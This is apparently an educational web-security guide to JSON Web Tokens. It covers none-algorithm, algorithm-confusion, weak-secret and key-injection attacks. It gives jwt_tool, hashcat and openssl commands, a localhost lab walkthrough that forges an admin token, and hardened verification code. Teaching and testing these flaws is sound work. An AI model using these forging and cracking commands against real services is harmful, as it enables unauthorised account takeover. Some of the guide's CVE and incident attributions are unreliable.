JWT Security: What Is a JWT, Common Attacks & How to Test Them
What is a JWT? Learn JWT security: how JSON Web Tokens work, the none and algorithm confusion attacks, and how to test JWTs with jwt_tool and Burp Suite.
When a Token Becomes a Backdoor
A server issues a JWT that says {"user": "admin", "role": "user"}. The attacker decodes it (the payload is just base64, not encrypted), changes "role": "user" to "role": "admin", re-encodes it, and sends it back. If the server does not verify the signature properly — or uses the "none" algorithm — the attacker just escalated to admin. JWT security is about making sure tokens cannot be forged, tampered with, or replayed.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
What Is a JWT?
A JSON Web Token (JWT, pronounced "jot") is a compact, URL-safe way to pass signed claims between two parties, defined in RFC 7519. When you log in to a web app, the server can hand you a JWT instead of storing a session on the server. Your browser sends the token with every request, and the server verifies it — no session lookup needed.
A JWT has three parts, separated by dots:
header.payload.signature
{"alg": "HS256", "typ": "JWT"}.sub (subject / user ID), exp (expiry time), iat (issued at), iss (issuer), aud (audience) and custom claims such as role.The fact beginners miss most often: a JWT is signed, not encrypted. Anyone who holds the token can decode the header and payload with base64 — the payload is readable by anyone. The signature only proves integrity, not secrecy. Never put passwords, API keys or other secrets in a JWT payload. If the payload itself must stay private, use JWE (JSON Web Encryption) instead.
Developers love JWTs because they are stateless — the server does not need to store sessions, so the same token works across APIs and microservices. That same property is why validation matters so much: if the server does not check the algorithm, the signature and every claim, a forged token is accepted exactly like a real one. The rest of this guide shows how attackers test that — and how to stop them.
Prerequisites
Before studying JWT security, you should understand:
JWT Structure
Header
{
"alg": "HS256",
"typ": "JWT"
}
Payload
{
"sub": "user123",
"name": "John Doe",
"role": "admin",
"iat": 1516239022,
"exp": 1516242622,
"iss": "https://auth.example.com",
"aud": "https://api.example.com"
}
Signature
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Common JWT Attacks
Algorithm Confusion Attack
The most critical JWT vulnerability. When the server uses asymmetric algorithms (RS256) to verify tokens but the library accepts the algorithm from the token header, an attacker can change the algorithm to HS256 and sign with the public key:
import jwt
# Vulnerable — accepts algorithm from token
def verify_token_vulnerable(token):
payload = jwt.decode(token, options={"verify_exp": True})
return payload
Attack: Get the server's public key (often at /.well-known/jwks.json), create a token with alg: "HS256", sign using the public key as the HMAC secret.
Weak or Exposed Secret
# Crack JWT secret with hashcat
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Use jwt_tool for analysis
python jwt_tool.py eyJhbGciOiJIUzI1NiJ9... -C -d /usr/share/wordlists/rockyou.txt
None Algorithm Attack
Setting the algorithm to "none" to bypass signature verification:
{
"alg": "none",
"typ": "JWT"
}
JWK Injection
The token contains an embedded public key (jwk header) that the server uses for verification. An attacker generates their own key pair, embeds the public key, and signs with their private key.
How to Test JWT Security
Work through this in order on your own lab app — a local test app you built, or a deliberately vulnerable lab such as DVWA or OWASP Juice Shop. Never test tokens against a system you do not own or have written permission to test.
1. Decode the token first
Before trying to break anything, read what the token claims:
python3 jwt_tool.py <your-token-here>
jwt_tool prints the decoded header and payload. You can also paste the token into jwt.io, which decodes it in the browser. Check the alg value, the claims (especially role, exp, aud and iss) and whether the token carries anything sensitive in plain text.
2. Try the none algorithm
The cheapest test there is. Some servers accept a token with alg set to none, meaning no signature at all (CVE-2015-2951):
python3 jwt_tool.py <your-token-here> -X a
In jwt_tool, -X a runs the alg:none exploit. If the server returns 200 OK for an unsigned token, it is vulnerable — any token the attacker writes is accepted.
3. Try algorithm confusion
If the server verifies RS256 tokens but also accepts HS256, an attacker can re-sign a forged token with the server's public key as if it were an HMAC secret (CVE-2016-10555). Get the public key first — it is often published at /.well-known/jwks.json, or you can pull it from the TLS certificate:
openssl s_client -connect lab.example.com:443 </dev/null 2>/dev/null | openssl x509 -pubkey -noout > public.pem
Then test the confusion:
python3 jwt_tool.py <your-token-here> -X k -pk public.pem
The -X k mode tests RS256-to-HS256 key confusion using the public key file. A 200 response with a forged role claim means the server trusts the algorithm named in the token header instead of pinning one algorithm.
4. Run the Playbook Scan
jwt_tool ships a Playbook Scan that hunts common misconfigurations in one pass:
python3 jwt_tool.py -t https://lab.example.com/ -rc "jwt=<your-token-here>" -M pb
The -M pb mode sends the token to your lab app and reports which checks pass and fail. Use it after the targeted tests above so you know which specific attack worked, not just that something worked.
5. Crack a weak secret
HS256 tokens are only as strong as the shared secret. If the secret is a dictionary word or a short string, crack it offline:
python3 jwt_tool.py <your-token-here> -C -d /usr/share/wordlists/rockyou.txt
Or with hashcat, after saving the token in hashcat's JWT format in jwt.txt:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
A cracked secret lets you forge any token the server will accept. The fix is a long random secret (256 bits or more) stored in a secrets manager, never in code.
6. Test the header key pointers
The kid, jku and x5u header fields tell the server where to find the verification key. A server that trusts these fields from the token itself is trusting attacker input (CVE-2018-0114, key injection). In the lab, try the JWKS injection exploit:
python3 jwt_tool.py <your-token-here> -X i -I -pc name -pv admin
If the server verifies the token with a key you supplied, any key you generate is suddenly trusted. The fix is to only use keys from a trusted, preconfigured set and to ignore key pointers in the token.
7. Test expiry, replay and audience
aud claim. It must be rejected.8. Test through Burp Suite
Intercept the login response in Burp Suite, copy the token, and use Repeater to send modified tokens — none algorithm, forged role, expired token — watching the status codes. The JWT Editor extension decodes tokens inside Burp so you can edit claims and re-sign in place.
JWT test matrix
| Scenario | Expected result |
|---|---|
| Valid, unexpired token | 200 OK |
Expired token (exp in the past) | 401 Unauthorized |
| Tampered payload (signature broken) | 401 Unauthorized |
alg: none token | 401 Unauthorized |
Token for the wrong aud | 401 Unauthorized |
Missing Authorization header | 401 Unauthorized |
| Valid token, insufficient role | 403 Forbidden |
| Token signed with the wrong key | 401 Unauthorized |
Worked Example: Forging an Admin Token in the Lab
Lab setup: a small local app on your own machine that issues HS256 tokens signed with the deliberately weak secret secret123. Every token and output below is illustrative — from the lab, not a real system.
Step 1 — Log in as a normal user and copy the token. Decode it:
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzg2MDAwMDAwfQ.abc123
Illustrative decoded payload:
{
"sub": "user1",
"role": "user",
"exp": 1786000000
}
The token says role is user. The app's admin panel rejects it with 403.
Step 2 — Crack the weak secret offline:
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzg2MDAwMDAwfQ.abc123 -C -d /usr/share/wordlists/rockyou.txt
Illustrative output:
[+] Cracked secret: secret123
Step 3 — Forge a new token with the cracked secret. A few lines of Python with PyJWT:
import jwt
payload = {"sub": "user1", "role": "admin", "exp": 1786000000}
forged = jwt.encode(payload, "secret123", algorithm="HS256")
print(forged)
Step 4 — Send the forged token to the lab app's admin endpoint:
curl -s http://localhost:3000/admin -H "Authorization: Bearer <forged-token>"
Illustrative response:
HTTP/1.1 200 OK
{"message": "Welcome, admin"}
The app accepted the forged token because the secret was weak. The fix is not a cleverer algorithm — it is a strong secret: generate a random 256-bit value, store it in a secrets manager or environment variable, rotate it on a schedule, and never use a dictionary word. With a strong secret, the same attack fails at step 2 and the forged token is rejected with 401.
Secure JWT Implementation
Proper Algorithm Validation
import jwt
def verify_token_secure(token):
try:
payload = jwt.decode(
token,
public_key,
algorithms=["RS256"],
audience=["https://api.example.com"],
issuer="https://auth.example.com",
options={
"verify_exp": True,
"verify_iat": True,
"verify_aud": True
}
)
return payload
except jwt.InvalidTokenError as e:
raise AuthenticationError(f"Invalid token: {e}")
Use Asymmetric Algorithms
# Generate RSA key pair
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
Token Creation
import jwt
from datetime import datetime, timedelta
def create_access_token(user_id, role):
payload = {
"sub": user_id,
"role": role,
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(hours=1),
"iss": "https://auth.example.com",
"aud": "https://api.example.com",
"jti": str(uuid.uuid4())
}
token = jwt.encode(payload, private_key, algorithm="RS256")
return token
Token Revocation
Since JWTs are stateless, implement a denylist:
import redis
redis_client = redis.Redis()
def revoke_token(jti, expires_in):
redis_client.setex(f"revoked:{jti}", expires_in, "1")
def is_token_revoked(jti):
return redis_client.exists(f"revoked:{jti}")
JWT vs Session Authentication
| JWT | Server-side session | |
|---|---|---|
| Where state lives | In the token, on the client | On the server, keyed by a session ID |
| Revocation | Hard — token stays valid until exp unless you keep a denylist | Easy — delete the session server-side |
| Scale | Stateless, works across services without shared storage | Needs shared session storage across servers |
| XSS impact | Token in localStorage is stolen by injected scripts | Session cookie with HttpOnly is not readable by scripts |
| CSRF impact | Bearer tokens in headers are not sent automatically, so CSRF risk is lower | Cookies are sent automatically, so CSRF tokens are required |
| Expiry handling | Fixed exp claim; refresh tokens extend sessions | Server controls expiry and can end sessions any time |
| Best for | APIs, microservices, mobile apps, single sign-on | Traditional browser apps where instant logout matters |
Choose sessions when you need instant logout and simple revocation — a normal browser app, for example. Choose JWTs when several independent services must accept the same token without sharing session storage — APIs and microservices, for example. Many apps use both: a short-lived JWT for API calls plus a server-side refresh-token record that can be revoked.
Where to Store JWTs
SameSite=Lax or Strict and a CSRF token.Real-World Examples
Auth0 JWT Vulnerability (2020): A critical vulnerability in multiple JWT libraries allowed the none algorithm attack even when explicitly disabled.
CVE-2022-23529 (jsonwebtoken): Remote code execution in the popular jsonwebtoken npm library allowed attackers to execute code through crafted JWTs.
Microsoft Azure AD (2021): Tokens signed with a misconfigured Azure AD tenant could be used to access resources in other tenants.
Common Mistakes
Not validating the algorithm: Enables algorithm confusion attacks.
Using weak secrets: Dictionary words for HMAC secrets can be cracked with hashcat.
Not validating expiration: Tokens that never expire increase leak damage.
No audience or issuer validation: Tokens from any issuer are accepted.
Long token lifetimes: Access tokens valid for weeks increase the attack window.
Best Practices
JWT Security Cheat Sheet
Attack → test → fix
| Attack | How to test | Fix |
|---|---|---|
| None algorithm accepted | jwt_tool -X a | Reject alg: none; pin allowed algorithms |
| Algorithm confusion (RS256 → HS256) | jwt_tool -X k -pk public.pem | Accept only one algorithm per key type; never read alg from the token |
| Weak HMAC secret | jwt_tool -C -d rockyou.txt; hashcat -m 16500 | Random 256-bit secret from a secrets manager |
Missing exp validation | Replay an expired token | Always verify exp on every request |
Missing aud / iss validation | Send a token meant for another service | Validate aud and iss against expected values |
| Sensitive data in payload | Decode the token — payload is readable | Keep payloads minimal; use JWE for secrets |
kid / jku / x5u injection | jwt_tool -X i | Only use keys from a trusted, preconfigured set |
| Long-lived tokens | Check exp — days or weeks | Access tokens 15–60 min; rotating refresh tokens |
| Tokens stored in localStorage | Check where the app stores the token | HttpOnly + Secure + SameSite cookie |
Quick command reference
| Task | Command |
|---|---|
| Decode a token | python3 jwt_tool.py <token> |
| Test the none algorithm | python3 jwt_tool.py <token> -X a |
| Test algorithm confusion | python3 jwt_tool.py <token> -X k -pk public.pem |
| Test JWKS injection | python3 jwt_tool.py <token> -X i |
| Run the Playbook Scan | python3 jwt_tool.py -t <url> -rc "jwt=<token>" -M pb |
| Crack a weak secret | python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt |
| Crack with hashcat | hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt |
| Decode in the browser | jwt.io |
| Fetch a server public key | openssl s_client -connect host:443 then openssl x509 -pubkey -noout |
Troubleshooting JWT Problems
| Problem | Likely cause | Fix |
|---|---|---|
| "Invalid signature" after a deployment | Key rotated but the old public key is cached, or the wrong key is configured | Publish the new key in JWKS and clear cached keys; verify the key ID (kid) matches |
| "Token expired" on a fresh login | Clock skew between the token issuer and the server | Sync clocks with NTP; allow a small leeway (30–60 seconds) for exp / nbf |
| "jwt token is invalid" in Postman | Missing Bearer prefix, extra quotes, or a truncated token | Paste the full token with the Bearer prefix and no surrounding quotes |
"alg: none" accepted in testing | Server does not pin the algorithm | Explicitly list allowed algorithms and reject none |
"kid header not found" | The kid points at a key the server does not know | Use only kids from your trusted key set; log unknown kids |
| Token works in the browser but 401 from curl | The Authorization header is missing or malformed in the curl call | Add -H "Authorization: Bearer <token>" and check for typos |
| Refresh token loop | Refresh token expired or revoked, or rotation not stored | Check the refresh token's own expiry and stored state; re-authenticate |
| "Invalid audience" after moving environments | Token was issued for the staging aud but sent to production | Issue separate tokens per environment with matching aud values |
Keep Learning
Summary
JWT has several critical security pitfalls. The most dangerous is the algorithm confusion attack. Defenses include explicit algorithm validation, short token lifetimes, proper claim verification, and using asymmetric signing algorithms.
Knowledge Check
Answers: 1. The server accepts the alg from the token header, so an attacker switches RS256 to HS256 and signs with the public key. 2. HS256 uses one shared secret that every verifier must hold, so a leaked secret forges tokens everywhere; RS256 keeps the private key on the signer only. 3. exp, iat, aud and iss (and the algorithm). 4. The server accepts alg none, so an unsigned token is trusted. 5. jti is a unique token ID used to track and revoke individual tokens. 6. Send a token with alg none and no signature — if the server returns 200 instead of 401, it is vulnerable. 7. Decode the token first and read its header and claims. 8. Any XSS flaw can read localStorage with JavaScript, so the token can be stolen.
Frequently Asked Questions
Continue Learning
What Is CSRF? Cross-Site Request Forgery Examples & How to Prevent CSRF Attacks
What is CSRF? Learn how cross-site request forgery tricks your browser into unwanted actions, see real examples and a DVWA worked test, and follow 7 steps to prevent CSRF attacks with tokens, SameSite cookies and framework protection.
Web Security · IntermediateAPI Hacking Guide: How to Test APIs for Security Flaws (BOLA, JWT & GraphQL)
Learn API hacking step by step: discover endpoints, test authentication and authorization, find BOLA flaws with a worked crAPI example, test JWTs and GraphQL, and report findings — with tools, a cheat sheet and a checklist.
Web Security · IntermediateSession Security: Protecting User Sessions in Web Apps
Learn how web sessions work, common session attacks, and best practices for securing user sessions in modern web applications.
Web Security · IntermediateWhat Is IDOR? Insecure Direct Object Reference Examples & How to Prevent IDOR Attacks
What is IDOR? See real insecure direct object reference examples, a worked lab test with Burp Suite, and how to prevent IDOR with server-side checks.
Related Security Tools
Burp Suite
Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.
Development ToolsJWT Decoder
Decode and inspect JSON Web Tokens (JWTs) with header/payload decoding, pretty-printed JSON output, and expiration timestamp analysis.
Web ApplicationSQLMap
SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.
Web SecuritySecurity Headers Checker
Check HTTP security headers (CSP, HSTS, X-Frame-Options, X-XSS-Protection, Referrer-Policy, and more) with security scoring.